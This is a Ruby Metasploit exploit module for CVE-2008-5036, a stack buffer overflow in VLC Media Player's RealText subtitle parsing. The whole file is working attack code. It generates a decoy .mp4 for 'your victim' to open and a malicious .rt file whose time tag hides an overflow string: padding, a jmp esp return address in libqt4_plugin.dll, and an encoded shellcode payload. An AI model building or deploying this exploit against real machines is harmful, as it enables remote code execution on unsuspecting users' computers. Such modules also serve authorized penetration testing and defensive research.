139 lines
4.5 KiB
Ruby
139 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VLC Media Player RealText Subtitle Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow vulnerability in
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VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
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RealText subtitle files.
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In order to exploit this, this module will generate two files:
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The .mp4 file is used to trick your victim into running. The .rt file
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is the actual malicious file that triggers the vulnerability, which
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should be placed under the same directory as the .mp4 file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tobias Klein', # Vulnerability Discovery
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'SkD', # Exploit
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'juan vazquez' # Metasploit Module
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],
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'References' =>
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[
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[ 'OSVDB', '49809' ],
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[ 'CVE', '2008-5036' ],
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[ 'BID', '32125' ],
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[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
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[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
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],
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'Payload' =>
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{
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'Space' => 1900,
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'DisableNops' => true,
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'BadChars' => "\x00\x22\x0a",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
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'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 05 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),
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], self.class)
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end
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def generate_mp4
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mp4 = ''
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# ftyp
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mp4 << "\x00\x00\x00\x14" #Size
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mp4 << "ftyp" #Type
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mp4 << "isom" #Major brand
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mp4 << "\x00\x00" #version
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mp4 << "\x00\x00"
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mp4 << "mp41" #Compatible brands
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# moov
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mp4 << "\x00\x00\x00\x9f" #Size
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mp4 << "moov" #Type
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mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
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mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
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mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
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mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
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mp4 << "udta"
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mp4 << "\x00\x00\x00\x23"
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mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
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mp4 << "vlc 0.9.4 stream output"
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# wide
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mp4 << "\x00\x00\x00\x08"
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mp4 << "wide"
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# mdat
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mp4 << "\x00\x00\x00\x08"
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mp4 << "mdat"
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return mp4
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end
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def generate_rt
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my_payload = ""
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my_payload << Rex::Text.rand_text(72, payload_badchars)
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my_payload << [target.ret].pack("V") # EIP => jmp esp
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my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
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my_payload << Rex::Text.rand_text(2, payload_badchars)
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my_payload << [target['WritableAddress']].pack("V") # Writable address
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my_payload << payload.encoded
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rt_file = <<-eos
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<window height="250" width="300" duration="15" bgcolor="yellow">
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Mary had a little lamb,
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<br/><time begin="#{my_payload}"/>
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<br/><time begin="6"/>little lamb,
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<br/><time begin="9"/>Mary had a little lamb
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<br/><time begin="12"/>whose fleece was white as snow.
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</window>
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eos
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return rt_file
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end
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def exploit
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mp4 = generate_mp4
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rt = generate_rt
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print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
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file_create(rt)
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original_fname = datastore['FILENAME']
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datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
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print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
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file_create(mp4)
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datastore['FILENAME'] = original_fname
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end
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end
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